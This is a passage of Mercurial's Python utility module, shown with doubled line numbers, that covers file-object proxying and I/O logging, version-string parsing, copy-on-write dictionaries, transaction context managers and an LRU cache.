577
577
578 def fileno(self, *args, **kwargs):
578 def fileno(self, *args, **kwargs):
579 return object.__getattribute__(self, r'_observedcall')(
579 return object.__getattribute__(self, r'_observedcall')(
580 r'fileno', *args, **kwargs)
580 r'fileno', *args, **kwargs)
581
581
582 def flush(self, *args, **kwargs):
582 def flush(self, *args, **kwargs):
583 return object.__getattribute__(self, r'_observedcall')(
583 return object.__getattribute__(self, r'_observedcall')(
584 r'flush', *args, **kwargs)
584 r'flush', *args, **kwargs)
585
585
586 def isatty(self, *args, **kwargs):
586 def isatty(self, *args, **kwargs):
587 return object.__getattribute__(self, r'_observedcall')(
587 return object.__getattribute__(self, r'_observedcall')(
588 r'isatty', *args, **kwargs)
588 r'isatty', *args, **kwargs)
589
589
590 def readable(self, *args, **kwargs):
590 def readable(self, *args, **kwargs):
591 return object.__getattribute__(self, r'_observedcall')(
591 return object.__getattribute__(self, r'_observedcall')(
592 r'readable', *args, **kwargs)
592 r'readable', *args, **kwargs)
593
593
594 def readline(self, *args, **kwargs):
594 def readline(self, *args, **kwargs):
595 return object.__getattribute__(self, r'_observedcall')(
595 return object.__getattribute__(self, r'_observedcall')(
596 r'readline', *args, **kwargs)
596 r'readline', *args, **kwargs)
597
597
598 def readlines(self, *args, **kwargs):
598 def readlines(self, *args, **kwargs):
599 return object.__getattribute__(self, r'_observedcall')(
599 return object.__getattribute__(self, r'_observedcall')(
600 r'readlines', *args, **kwargs)
600 r'readlines', *args, **kwargs)
601
601
602 def seek(self, *args, **kwargs):
602 def seek(self, *args, **kwargs):
603 return object.__getattribute__(self, r'_observedcall')(
603 return object.__getattribute__(self, r'_observedcall')(
604 r'seek', *args, **kwargs)
604 r'seek', *args, **kwargs)
605
605
606 def seekable(self, *args, **kwargs):
606 def seekable(self, *args, **kwargs):
607 return object.__getattribute__(self, r'_observedcall')(
607 return object.__getattribute__(self, r'_observedcall')(
608 r'seekable', *args, **kwargs)
608 r'seekable', *args, **kwargs)
609
609
610 def tell(self, *args, **kwargs):
610 def tell(self, *args, **kwargs):
611 return object.__getattribute__(self, r'_observedcall')(
611 return object.__getattribute__(self, r'_observedcall')(
612 r'tell', *args, **kwargs)
612 r'tell', *args, **kwargs)
613
613
614 def truncate(self, *args, **kwargs):
614 def truncate(self, *args, **kwargs):
615 return object.__getattribute__(self, r'_observedcall')(
615 return object.__getattribute__(self, r'_observedcall')(
616 r'truncate', *args, **kwargs)
616 r'truncate', *args, **kwargs)
617
617
618 def writable(self, *args, **kwargs):
618 def writable(self, *args, **kwargs):
619 return object.__getattribute__(self, r'_observedcall')(
619 return object.__getattribute__(self, r'_observedcall')(
620 r'writable', *args, **kwargs)
620 r'writable', *args, **kwargs)
621
621
622 def writelines(self, *args, **kwargs):
622 def writelines(self, *args, **kwargs):
623 return object.__getattribute__(self, r'_observedcall')(
623 return object.__getattribute__(self, r'_observedcall')(
624 r'writelines', *args, **kwargs)
624 r'writelines', *args, **kwargs)
625
625
626 def read(self, *args, **kwargs):
626 def read(self, *args, **kwargs):
627 return object.__getattribute__(self, r'_observedcall')(
627 return object.__getattribute__(self, r'_observedcall')(
628 r'read', *args, **kwargs)
628 r'read', *args, **kwargs)
629
629
630 def readall(self, *args, **kwargs):
630 def readall(self, *args, **kwargs):
631 return object.__getattribute__(self, r'_observedcall')(
631 return object.__getattribute__(self, r'_observedcall')(
632 r'readall', *args, **kwargs)
632 r'readall', *args, **kwargs)
633
633
634 def readinto(self, *args, **kwargs):
634 def readinto(self, *args, **kwargs):
635 return object.__getattribute__(self, r'_observedcall')(
635 return object.__getattribute__(self, r'_observedcall')(
636 r'readinto', *args, **kwargs)
636 r'readinto', *args, **kwargs)
637
637
638 def write(self, *args, **kwargs):
638 def write(self, *args, **kwargs):
639 return object.__getattribute__(self, r'_observedcall')(
639 return object.__getattribute__(self, r'_observedcall')(
640 r'write', *args, **kwargs)
640 r'write', *args, **kwargs)
641
641
642 def detach(self, *args, **kwargs):
642 def detach(self, *args, **kwargs):
643 return object.__getattribute__(self, r'_observedcall')(
643 return object.__getattribute__(self, r'_observedcall')(
644 r'detach', *args, **kwargs)
644 r'detach', *args, **kwargs)
645
645
646 def read1(self, *args, **kwargs):
646 def read1(self, *args, **kwargs):
647 return object.__getattribute__(self, r'_observedcall')(
647 return object.__getattribute__(self, r'_observedcall')(
648 r'read1', *args, **kwargs)
648 r'read1', *args, **kwargs)
649
649
650 class observedbufferedinputpipe(bufferedinputpipe):
650 class observedbufferedinputpipe(bufferedinputpipe):
651 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
651 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
652
652
653 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
653 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
654 bypass ``fileobjectproxy``. Because of this, we need to make
654 bypass ``fileobjectproxy``. Because of this, we need to make
655 ``bufferedinputpipe`` aware of these operations.
655 ``bufferedinputpipe`` aware of these operations.
656
656
657 This variation of ``bufferedinputpipe`` can notify observers about
657 This variation of ``bufferedinputpipe`` can notify observers about
658 ``os.read()`` events. It also re-publishes other events, such as
658 ``os.read()`` events. It also re-publishes other events, such as
659 ``read()`` and ``readline()``.
659 ``read()`` and ``readline()``.
660 """
660 """
661 def _fillbuffer(self):
661 def _fillbuffer(self):
662 res = super(observedbufferedinputpipe, self)._fillbuffer()
662 res = super(observedbufferedinputpipe, self)._fillbuffer()
663
663
664 fn = getattr(self._input._observer, r'osread', None)
664 fn = getattr(self._input._observer, r'osread', None)
665 if fn:
665 if fn:
666 fn(res, _chunksize)
666 fn(res, _chunksize)
667
667
668 return res
668 return res
669
669
670 # We use different observer methods because the operation isn't
670 # We use different observer methods because the operation isn't
671 # performed on the actual file object but on us.
671 # performed on the actual file object but on us.
672 def read(self, size):
672 def read(self, size):
673 res = super(observedbufferedinputpipe, self).read(size)
673 res = super(observedbufferedinputpipe, self).read(size)
674
674
675 fn = getattr(self._input._observer, r'bufferedread', None)
675 fn = getattr(self._input._observer, r'bufferedread', None)
676 if fn:
676 if fn:
677 fn(res, size)
677 fn(res, size)
678
678
679 return res
679 return res
680
680
681 def readline(self, *args, **kwargs):
681 def readline(self, *args, **kwargs):
682 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
682 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
683
683
684 fn = getattr(self._input._observer, r'bufferedreadline', None)
684 fn = getattr(self._input._observer, r'bufferedreadline', None)
685 if fn:
685 if fn:
686 fn(res)
686 fn(res)
687
687
688 return res
688 return res
689
689
690 DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)}
690 DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)}
691 DATA_ESCAPE_MAP.update({
691 DATA_ESCAPE_MAP.update({
692 b'\\': b'\\\\',
692 b'\\': b'\\\\',
693 b'\r': br'\r',
693 b'\r': br'\r',
694 b'\n': br'\n',
694 b'\n': br'\n',
695 })
695 })
696 DATA_ESCAPE_RE = remod.compile(br'[\x00-\x08\x0a-\x1f\\\x7f-\xff]')
696 DATA_ESCAPE_RE = remod.compile(br'[\x00-\x08\x0a-\x1f\\\x7f-\xff]')
697
697
698 def escapedata(s):
698 def escapedata(s):
699 if isinstance(s, bytearray):
699 if isinstance(s, bytearray):
700 s = bytes(s)
700 s = bytes(s)
701
701
702 return DATA_ESCAPE_RE.sub(lambda m: DATA_ESCAPE_MAP[m.group(0)], s)
702 return DATA_ESCAPE_RE.sub(lambda m: DATA_ESCAPE_MAP[m.group(0)], s)
703
703
704 class fileobjectobserver(object):
704 class fileobjectobserver(object):
705 """Logs file object activity."""
705 """Logs file object activity."""
706 def __init__(self, fh, name, reads=True, writes=True, logdata=False):
706 def __init__(self, fh, name, reads=True, writes=True, logdata=False):
707 self.fh = fh
707 self.fh = fh
708 self.name = name
708 self.name = name
709 self.logdata = logdata
709 self.logdata = logdata
710 self.reads = reads
710 self.reads = reads
711 self.writes = writes
711 self.writes = writes
712
712
713 def _writedata(self, data):
713 def _writedata(self, data):
714 if not self.logdata:
714 if not self.logdata:
715 self.fh.write('\n')
715 self.fh.write('\n')
716 return
716 return
717
717
718 # Simple case writes all data on a single line.
718 # Simple case writes all data on a single line.
719 if b'\n' not in data:
719 if b'\n' not in data:
720 self.fh.write(': %s\n' % escapedata(data))
720 self.fh.write(': %s\n' % escapedata(data))
721 return
721 return
722
722
723 # Data with newlines is written to multiple lines.
723 # Data with newlines is written to multiple lines.
724 self.fh.write(':\n')
724 self.fh.write(':\n')
725 lines = data.splitlines(True)
725 lines = data.splitlines(True)
726 for line in lines:
726 for line in lines:
727 self.fh.write('%s> %s\n' % (self.name, escapedata(line)))
727 self.fh.write('%s> %s\n' % (self.name, escapedata(line)))
728
728
729 def read(self, res, size=-1):
729 def read(self, res, size=-1):
730 if not self.reads:
730 if not self.reads:
731 return
731 return
732 # Python 3 can return None from reads at EOF instead of empty strings.
732 # Python 3 can return None from reads at EOF instead of empty strings.
733 if res is None:
733 if res is None:
734 res = ''
734 res = ''
735
735
736 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
736 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
737 self._writedata(res)
737 self._writedata(res)
738
738
739 def readline(self, res, limit=-1):
739 def readline(self, res, limit=-1):
740 if not self.reads:
740 if not self.reads:
741 return
741 return
742
742
743 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
743 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
744 self._writedata(res)
744 self._writedata(res)
745
745
746 def readinto(self, res, dest):
746 def readinto(self, res, dest):
747 if not self.reads:
747 if not self.reads:
748 return
748 return
749
749
750 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
750 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
751 res))
751 res))
752 data = dest[0:res] if res is not None else b''
752 data = dest[0:res] if res is not None else b''
753 self._writedata(data)
753 self._writedata(data)
754
754
755 def write(self, res, data):
755 def write(self, res, data):
756 if not self.writes:
756 if not self.writes:
757 return
757 return
758
758
759 # Python 2 returns None from some write() calls. Python 3 (reasonably)
759 # Python 2 returns None from some write() calls. Python 3 (reasonably)
760 # returns the integer bytes written.
760 # returns the integer bytes written.
761 if res is None and data:
761 if res is None and data:
762 res = len(data)
762 res = len(data)
763
763
764 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
764 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
765 self._writedata(data)
765 self._writedata(data)
766
766
767 def flush(self, res):
767 def flush(self, res):
768 if not self.writes:
768 if not self.writes:
769 return
769 return
770
770
771 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
771 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
772
772
773 # For observedbufferedinputpipe.
773 # For observedbufferedinputpipe.
774 def bufferedread(self, res, size):
774 def bufferedread(self, res, size):
775 self.fh.write('%s> bufferedread(%d) -> %d' % (
775 self.fh.write('%s> bufferedread(%d) -> %d' % (
776 self.name, size, len(res)))
776 self.name, size, len(res)))
777 self._writedata(res)
777 self._writedata(res)
778
778
779 def bufferedreadline(self, res):
779 def bufferedreadline(self, res):
780 self.fh.write('%s> bufferedreadline() -> %d' % (self.name, len(res)))
780 self.fh.write('%s> bufferedreadline() -> %d' % (self.name, len(res)))
781 self._writedata(res)
781 self._writedata(res)
782
782
783 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
783 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
784 logdata=False):
784 logdata=False):
785 """Turn a file object into a logging file object."""
785 """Turn a file object into a logging file object."""
786
786
787 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
787 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
788 logdata=logdata)
788 logdata=logdata)
789 return fileobjectproxy(fh, observer)
789 return fileobjectproxy(fh, observer)
790
790
791 def version():
791 def version():
792 """Return version information if available."""
792 """Return version information if available."""
793 try:
793 try:
794 from . import __version__
794 from . import __version__
795 return __version__.version
795 return __version__.version
796 except ImportError:
796 except ImportError:
797 return 'unknown'
797 return 'unknown'
798
798
799 def versiontuple(v=None, n=4):
799 def versiontuple(v=None, n=4):
800 """Parses a Mercurial version string into an N-tuple.
800 """Parses a Mercurial version string into an N-tuple.
801
801
802 The version string to be parsed is specified with the ``v`` argument.
802 The version string to be parsed is specified with the ``v`` argument.
803 If it isn't defined, the current Mercurial version string will be parsed.
803 If it isn't defined, the current Mercurial version string will be parsed.
804
804
805 ``n`` can be 2, 3, or 4. Here is how some version strings map to
805 ``n`` can be 2, 3, or 4. Here is how some version strings map to
806 returned values:
806 returned values:
807
807
808 >>> v = b'3.6.1+190-df9b73d2d444'
808 >>> v = b'3.6.1+190-df9b73d2d444'
809 >>> versiontuple(v, 2)
809 >>> versiontuple(v, 2)
810 (3, 6)
810 (3, 6)
811 >>> versiontuple(v, 3)
811 >>> versiontuple(v, 3)
812 (3, 6, 1)
812 (3, 6, 1)
813 >>> versiontuple(v, 4)
813 >>> versiontuple(v, 4)
814 (3, 6, 1, '190-df9b73d2d444')
814 (3, 6, 1, '190-df9b73d2d444')
815
815
816 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
816 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
817 (3, 6, 1, '190-df9b73d2d444+20151118')
817 (3, 6, 1, '190-df9b73d2d444+20151118')
818
818
819 >>> v = b'3.6'
819 >>> v = b'3.6'
820 >>> versiontuple(v, 2)
820 >>> versiontuple(v, 2)
821 (3, 6)
821 (3, 6)
822 >>> versiontuple(v, 3)
822 >>> versiontuple(v, 3)
823 (3, 6, None)
823 (3, 6, None)
824 >>> versiontuple(v, 4)
824 >>> versiontuple(v, 4)
825 (3, 6, None, None)
825 (3, 6, None, None)
826
826
827 >>> v = b'3.9-rc'
827 >>> v = b'3.9-rc'
828 >>> versiontuple(v, 2)
828 >>> versiontuple(v, 2)
829 (3, 9)
829 (3, 9)
830 >>> versiontuple(v, 3)
830 >>> versiontuple(v, 3)
831 (3, 9, None)
831 (3, 9, None)
832 >>> versiontuple(v, 4)
832 >>> versiontuple(v, 4)
833 (3, 9, None, 'rc')
833 (3, 9, None, 'rc')
834
834
835 >>> v = b'3.9-rc+2-02a8fea4289b'
835 >>> v = b'3.9-rc+2-02a8fea4289b'
836 >>> versiontuple(v, 2)
836 >>> versiontuple(v, 2)
837 (3, 9)
837 (3, 9)
838 >>> versiontuple(v, 3)
838 >>> versiontuple(v, 3)
839 (3, 9, None)
839 (3, 9, None)
840 >>> versiontuple(v, 4)
840 >>> versiontuple(v, 4)
841 (3, 9, None, 'rc+2-02a8fea4289b')
841 (3, 9, None, 'rc+2-02a8fea4289b')
842 """
842 """
843 if not v:
843 if not v:
844 v = version()
844 v = version()
845 parts = remod.split('[\+-]', v, 1)
845 parts = remod.split('[\+-]', v, 1)
846 if len(parts) == 1:
846 if len(parts) == 1:
847 vparts, extra = parts[0], None
847 vparts, extra = parts[0], None
848 else:
848 else:
849 vparts, extra = parts
849 vparts, extra = parts
850
850
851 vints = []
851 vints = []
852 for i in vparts.split('.'):
852 for i in vparts.split('.'):
853 try:
853 try:
854 vints.append(int(i))
854 vints.append(int(i))
855 except ValueError:
855 except ValueError:
856 break
856 break
857 # (3, 6) -> (3, 6, None)
857 # (3, 6) -> (3, 6, None)
858 while len(vints) < 3:
858 while len(vints) < 3:
859 vints.append(None)
859 vints.append(None)
860
860
861 if n == 2:
861 if n == 2:
862 return (vints[0], vints[1])
862 return (vints[0], vints[1])
863 if n == 3:
863 if n == 3:
864 return (vints[0], vints[1], vints[2])
864 return (vints[0], vints[1], vints[2])
865 if n == 4:
865 if n == 4:
866 return (vints[0], vints[1], vints[2], extra)
866 return (vints[0], vints[1], vints[2], extra)
867
867
868 def cachefunc(func):
868 def cachefunc(func):
869 '''cache the result of function calls'''
869 '''cache the result of function calls'''
870 # XXX doesn't handle keywords args
870 # XXX doesn't handle keywords args
871 if func.__code__.co_argcount == 0:
871 if func.__code__.co_argcount == 0:
872 cache = []
872 cache = []
873 def f():
873 def f():
874 if len(cache) == 0:
874 if len(cache) == 0:
875 cache.append(func())
875 cache.append(func())
876 return cache[0]
876 return cache[0]
877 return f
877 return f
878 cache = {}
878 cache = {}
879 if func.__code__.co_argcount == 1:
879 if func.__code__.co_argcount == 1:
880 # we gain a small amount of time because
880 # we gain a small amount of time because
881 # we don't need to pack/unpack the list
881 # we don't need to pack/unpack the list
882 def f(arg):
882 def f(arg):
883 if arg not in cache:
883 if arg not in cache:
884 cache[arg] = func(arg)
884 cache[arg] = func(arg)
885 return cache[arg]
885 return cache[arg]
886 else:
886 else:
887 def f(*args):
887 def f(*args):
888 if args not in cache:
888 if args not in cache:
889 cache[args] = func(*args)
889 cache[args] = func(*args)
890 return cache[args]
890 return cache[args]
891
891
892 return f
892 return f
893
893
894 class cow(object):
894 class cow(object):
895 """helper class to make copy-on-write easier
895 """helper class to make copy-on-write easier
896
896
897 Call preparewrite before doing any writes.
897 Call preparewrite before doing any writes.
898 """
898 """
899
899
900 def preparewrite(self):
900 def preparewrite(self):
901 """call this before writes, return self or a copied new object"""
901 """call this before writes, return self or a copied new object"""
902 if getattr(self, '_copied', 0):
902 if getattr(self, '_copied', 0):
903 self._copied -= 1
903 self._copied -= 1
904 return self.__class__(self)
904 return self.__class__(self)
905 return self
905 return self
906
906
907 def copy(self):
907 def copy(self):
908 """always do a cheap copy"""
908 """always do a cheap copy"""
909 self._copied = getattr(self, '_copied', 0) + 1
909 self._copied = getattr(self, '_copied', 0) + 1
910 return self
910 return self
911
911
912 class sortdict(collections.OrderedDict):
912 class sortdict(collections.OrderedDict):
913 '''a simple sorted dictionary
913 '''a simple sorted dictionary
914
914
915 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
915 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
916 >>> d2 = d1.copy()
916 >>> d2 = d1.copy()
917 >>> d2
917 >>> d2
918 sortdict([('a', 0), ('b', 1)])
918 sortdict([('a', 0), ('b', 1)])
919 >>> d2.update([(b'a', 2)])
919 >>> d2.update([(b'a', 2)])
920 >>> list(d2.keys()) # should still be in last-set order
920 >>> list(d2.keys()) # should still be in last-set order
921 ['b', 'a']
921 ['b', 'a']
922 '''
922 '''
923
923
924 def __setitem__(self, key, value):
924 def __setitem__(self, key, value):
925 if key in self:
925 if key in self:
926 del self[key]
926 del self[key]
927 super(sortdict, self).__setitem__(key, value)
927 super(sortdict, self).__setitem__(key, value)
928
928
929 if pycompat.ispypy:
929 if pycompat.ispypy:
930 # __setitem__() isn't called as of PyPy 5.8.0
930 # __setitem__() isn't called as of PyPy 5.8.0
931 def update(self, src):
931 def update(self, src):
932 if isinstance(src, dict):
932 if isinstance(src, dict):
933 src = src.iteritems()
933 src = src.iteritems()
934 for k, v in src:
934 for k, v in src:
935 self[k] = v
935 self[k] = v
936
936
937 class cowdict(cow, dict):
937 class cowdict(cow, dict):
938 """copy-on-write dict
938 """copy-on-write dict
939
939
940 Be sure to call d = d.preparewrite() before writing to d.
940 Be sure to call d = d.preparewrite() before writing to d.
941
941
942 >>> a = cowdict()
942 >>> a = cowdict()
943 >>> a is a.preparewrite()
943 >>> a is a.preparewrite()
944 True
944 True
945 >>> b = a.copy()
945 >>> b = a.copy()
946 >>> b is a
946 >>> b is a
947 True
947 True
948 >>> c = b.copy()
948 >>> c = b.copy()
949 >>> c is a
949 >>> c is a
950 True
950 True
951 >>> a = a.preparewrite()
951 >>> a = a.preparewrite()
952 >>> b is a
952 >>> b is a
953 False
953 False
954 >>> a is a.preparewrite()
954 >>> a is a.preparewrite()
955 True
955 True
956 >>> c = c.preparewrite()
956 >>> c = c.preparewrite()
957 >>> b is c
957 >>> b is c
958 False
958 False
959 >>> b is b.preparewrite()
959 >>> b is b.preparewrite()
960 True
960 True
961 """
961 """
962
962
963 class cowsortdict(cow, sortdict):
963 class cowsortdict(cow, sortdict):
964 """copy-on-write sortdict
964 """copy-on-write sortdict
965
965
966 Be sure to call d = d.preparewrite() before writing to d.
966 Be sure to call d = d.preparewrite() before writing to d.
967 """
967 """
968
968
969 class transactional(object):
969 class transactional(object):
970 """Base class for making a transactional type into a context manager."""
970 """Base class for making a transactional type into a context manager."""
971 __metaclass__ = abc.ABCMeta
971 __metaclass__ = abc.ABCMeta
972
972
973 @abc.abstractmethod
973 @abc.abstractmethod
974 def close(self):
974 def close(self):
975 """Successfully closes the transaction."""
975 """Successfully closes the transaction."""
976
976
977 @abc.abstractmethod
977 @abc.abstractmethod
978 def release(self):
978 def release(self):
979 """Marks the end of the transaction.
979 """Marks the end of the transaction.
980
980
981 If the transaction has not been closed, it will be aborted.
981 If the transaction has not been closed, it will be aborted.
982 """
982 """
983
983
984 def __enter__(self):
984 def __enter__(self):
985 return self
985 return self
986
986
987 def __exit__(self, exc_type, exc_val, exc_tb):
987 def __exit__(self, exc_type, exc_val, exc_tb):
988 try:
988 try:
989 if exc_type is None:
989 if exc_type is None:
990 self.close()
990 self.close()
991 finally:
991 finally:
992 self.release()
992 self.release()
993
993
994 @contextlib.contextmanager
994 @contextlib.contextmanager
995 def acceptintervention(tr=None):
995 def acceptintervention(tr=None):
996 """A context manager that closes the transaction on InterventionRequired
996 """A context manager that closes the transaction on InterventionRequired
997
997
998 If no transaction was provided, this simply runs the body and returns
998 If no transaction was provided, this simply runs the body and returns
999 """
999 """
1000 if not tr:
1000 if not tr:
1001 yield
1001 yield
1002 return
1002 return
1003 try:
1003 try:
1004 yield
1004 yield
1005 tr.close()
1005 tr.close()
1006 except error.InterventionRequired:
1006 except error.InterventionRequired:
1007 tr.close()
1007 tr.close()
1008 raise
1008 raise
1009 finally:
1009 finally:
1010 tr.release()
1010 tr.release()
1011
1011
1012 @contextlib.contextmanager
1012 @contextlib.contextmanager
1013 def nullcontextmanager():
1013 def nullcontextmanager():
1014 yield
1014 yield
1015
1015
1016 class _lrucachenode(object):
1016 class _lrucachenode(object):
1017 """A node in a doubly linked list.
1017 """A node in a doubly linked list.
1018
1018
1019 Holds a reference to nodes on either side as well as a key-value
1019 Holds a reference to nodes on either side as well as a key-value
1020 pair for the dictionary entry.
1020 pair for the dictionary entry.
1021 """
1021 """
1022 __slots__ = (u'next', u'prev', u'key', u'value')
1022 __slots__ = (u'next', u'prev', u'key', u'value')
1023
1023
1024 def __init__(self):
1024 def __init__(self):
1025 self.next = None
1025 self.next = None
1026 self.prev = None
1026 self.prev = None
1027
1027
1028 self.key = _notset
1028 self.key = _notset
1029 self.value = None
1029 self.value = None
1030
1030
1031 def markempty(self):
1031 def markempty(self):
1032 """Mark the node as emptied."""
1032 """Mark the node as emptied."""
1033 self.key = _notset
1033 self.key = _notset
1034
1034
1035 class lrucachedict(object):
1035 class lrucachedict(object):
1036 """Dict that caches most recent accesses and sets.
1036 """Dict that caches most recent accesses and sets.
1037
1037
1038 The dict consists of an actual backing dict - indexed by original
1038 The dict consists of an actual backing dict - indexed by original
1039 key - and a doubly linked circular list defining the order of entries in
1039 key - and a doubly linked circular list defining the order of entries in
1040 the cache.
1040 the cache.
1041
1041
1042 The head node is the newest entry in the cache. If the cache is full,
1042 The head node is the newest entry in the cache. If the cache is full,
1043 we recycle head.prev and make it the new head. Cache accesses result in
1043 we recycle head.prev and make it the new head. Cache accesses result in
1044 the node being moved to before the existing head and being marked as the
1044 the node being moved to before the existing head and being marked as the
1045 new head node.
1045 new head node.
1046 """
1046 """
1047 def __init__(self, max):
1047 def __init__(self, max):
1048 self._cache = {}
1048 self._cache = {}
1049
1049
1050 self._head = head = _lrucachenode()
1050 self._head = head = _lrucachenode()
1051 head.prev = head
1051 head.prev = head
1052 head.next = head
1052 head.next = head
1053 self._size = 1
1053 self._size = 1
1054 self._capacity = max
1054 self._capacity = max
1055
1055
1056 def __len__(self):
1056 def __len__(self):
1057 return len(self._cache)
1057 return len(self._cache)
1058
1058
1059 def __contains__(self, k):
1059 def __contains__(self, k):
1060 return k in self._cache
1060 return k in self._cache
1061
1061
1062 def __iter__(self):
1062 def __iter__(self):
1063 # We don't have to iterate in cache order, but why not.
1063 # We don't have to iterate in cache order, but why not.
1064 n = self._head
1064 n = self._head
1065 for i in range(len(self._cache)):
1065 for i in range(len(self._cache)):
1066 yield n.key
1066 yield n.key
1067 n = n.next
1067 n = n.next
1068
1068
1069 def __getitem__(self, k):
1069 def __getitem__(self, k):
1070 node = self._cache[k]
1070 node = self._cache[k]
1071 self._movetohead(node)
1071 self._movetohead(node)
1072 return node.value
1072 return node.value
1073
1073
1074 def __setitem__(self, k, v):
1074 def __setitem__(self, k, v):
1075 node = self._cache.get(k)
1075 node = self._cache.get(k)
1076 # Replace existing value and mark as newest.
1076 # Replace existing value and mark as newest.
1077 if node is not None:
1077 if node is not None:
1078 node.value = v
1078 node.value = v
1079 self._movetohead(node)
1079 self._movetohead(node)
1080 return
1080 return
1081
1081
1082 if self._size < self._capacity:
1082 if self._size < self._capacity:
1083 node = self._addcapacity()
1083 node = self._addcapacity()
1084 else:
1084 else:
1085 # Grab the last/oldest item.
1085 # Grab the last/oldest item.
1086 node = self._head.prev
1086 node = self._head.prev
1087
1087
1088 # At capacity. Kill the old entry.
1088 # At capacity. Kill the old entry.
1089 if node.key is not _notset:
1089 if node.key is not _notset:
1090 del self._cache[node.key]
1090 del self._cache[node.key]
1091
1091
1092 node.key = k
1092 node.key = k
1093 node.value = v
1093 node.value = v
1094 self._cache[k] = node
1094 self._cache[k] = node
1095 # And mark it as newest entry. No need to adjust order since it
1095 # And mark it as newest entry. No need to adjust order since it
1096 # is already self._head.prev.
1096 # is already self._head.prev.
1097 self._head = node
1097 self._head = node
1098
1098
1099 def __delitem__(self, k):
1099 def __delitem__(self, k):
1100 node = self._cache.pop(k)
1100 node = self._cache.pop(k)
1101 node.markempty()
1101 node.markempty()
1102
1102
1103 # Temporarily mark as newest item before re-adjusting head to make
1103 # Temporarily mark as newest item before re-adjusting head to make
1104 # this node the oldest item.
1104 # this node the oldest item.
1105 self._movetohead(node)
1105 self._movetohead(node)
1106 self._head = node.next
1106 self._head = node.next
1107
1107
1108 # Additional dict methods.
1108 # Additional dict methods.
1109
1109
1110 def get(self, k, default=None):
1110 def get(self, k, default=None):
1111 try:
1111 try:
1112 return self._cache[k].value
1112 return self._cache[k].value
1113 except KeyError:
1113 except KeyError:
1114 return default
1114 return default
1115
1115
1116 def clear(self):
1116 def clear(self):
1117 n = self._head
1117 n = self._head
1118 while n.key is not _notset:
1118 while n.key is not _notset:
1119 n.markempty()
1119 n.markempty()
1120 n = n.next
1120 n = n.next
1121
1121
1122 self._cache.clear()
1122 self._cache.clear()
1123
1123
1124 def copy(self):
1124 def copy(self):
1125 result = lrucachedict(self._capacity)
1125 result = lrucachedict(self._capacity)
1126 n = self._head.prev
1126 n = self._head.prev
1127 # Iterate in oldest-to-newest order, so the copy has the right ordering
1127 # Iterate in oldest-to-newest order, so the copy has the right ordering
1128 for i in range(len(self._cache)):
1128 for i in range(len(self._cache)):
1129 result[n.key] = n.value
1129 result[n.key] = n.value
1130 n = n.prev
1130 n = n.prev
1131 return result
1131 return result
1132
1132
1133 def _movetohead(self, node):
1133 def _movetohead(self, node):
1134 """Mark a node as the newest, making it the new head.
1134 """Mark a node as the newest, making it the new head.
1135
1135
1136 When a node is accessed, it becomes the freshest entry in the LRU
1136 When a node is accessed, it becomes the freshest entry in the LRU
1137 list, which is denoted by self._head.
1137 list, which is denoted by self._head.
1138
1138
1139 Visually, let's make ``N`` the new head node (* denotes head):
1139 Visually, let's make ``N`` the new head node (* denotes head):
1140
1140
1141 previous/oldest <-> head <-> next/next newest
1141 previous/oldest <-> head <-> next/next newest
1142
1142
1143 ----<->--- A* ---<->-----
1143 ----<->--- A* ---<->-----
1144 | |
1144 | |
1145 E <-> D <-> N <-> C <-> B
1145 E <-> D <-> N <-> C <-> B
1146
1146
1147 To:
1147 To:
1148
1148
1149 ----<->--- N* ---<->-----
1149 ----<->--- N* ---<->-----
1150 | |
1150 | |
1151 E <-> D <-> C <-> B <-> A
1151 E <-> D <-> C <-> B <-> A
1152
1152
1153 This requires the following moves:
1153 This requires the following moves:
1154
1154
1155 C.next = D (node.prev.next = node.next)
1155 C.next = D (node.prev.next = node.next)
1156 D.prev = C (node.next.prev = node.prev)
1156 D.prev = C (node.next.prev = node.prev)
1157 E.next = N (head.prev.next = node)
1157 E.next = N (head.prev.next = node)
1158 N.prev = E (node.prev = head.prev)
1158 N.prev = E (node.prev = head.prev)
1159 N.next = A (node.next = head)
1159 N.next = A (node.next = head)
1160 A.prev = N (head.prev = node)
1160 A.prev = N (head.prev = node)
1161 """
1161 """
1162 head = self._head
1162 head = self._head
1163 # C.next = D
1163 # C.next = D
1164 node.prev.next = node.next
1164 node.prev.next = node.next
1165 # D.prev = C
1165 # D.prev = C
1166 node.next.prev = node.prev
1166 node.next.prev = node.prev
1167 # N.prev = E
1167 # N.prev = E
1168 node.prev = head.prev
1168 node.prev = head.prev
1169 # N.next = A
1169 # N.next = A
1170 # It is tempting to do just "head" here, however if node is
1170 # It is tempting to do just "head" here, however if node is
1171 # adjacent to head, this will do bad things.
1171 # adjacent to head, this will do bad things.
1172 node.next = head.prev.next
1172 node.next = head.prev.next
1173 # E.next = N
1173 # E.next = N
1174 node.next.prev = node
1174 node.next.prev = node
1175 # A.prev = N
1175 # A.prev = N
1176 node.prev.next = node
1176 node.prev.next = node
1177
1177
1178 self._head = node
1178 self._head = node
1179
1179
1180 def _addcapacity(self):
1180 def _addcapacity(self):
1181 """Add a node to the circular linked list.
1181 """Add a node to the circular linked list.
1182
1182
1183 The new node is inserted before the head node.
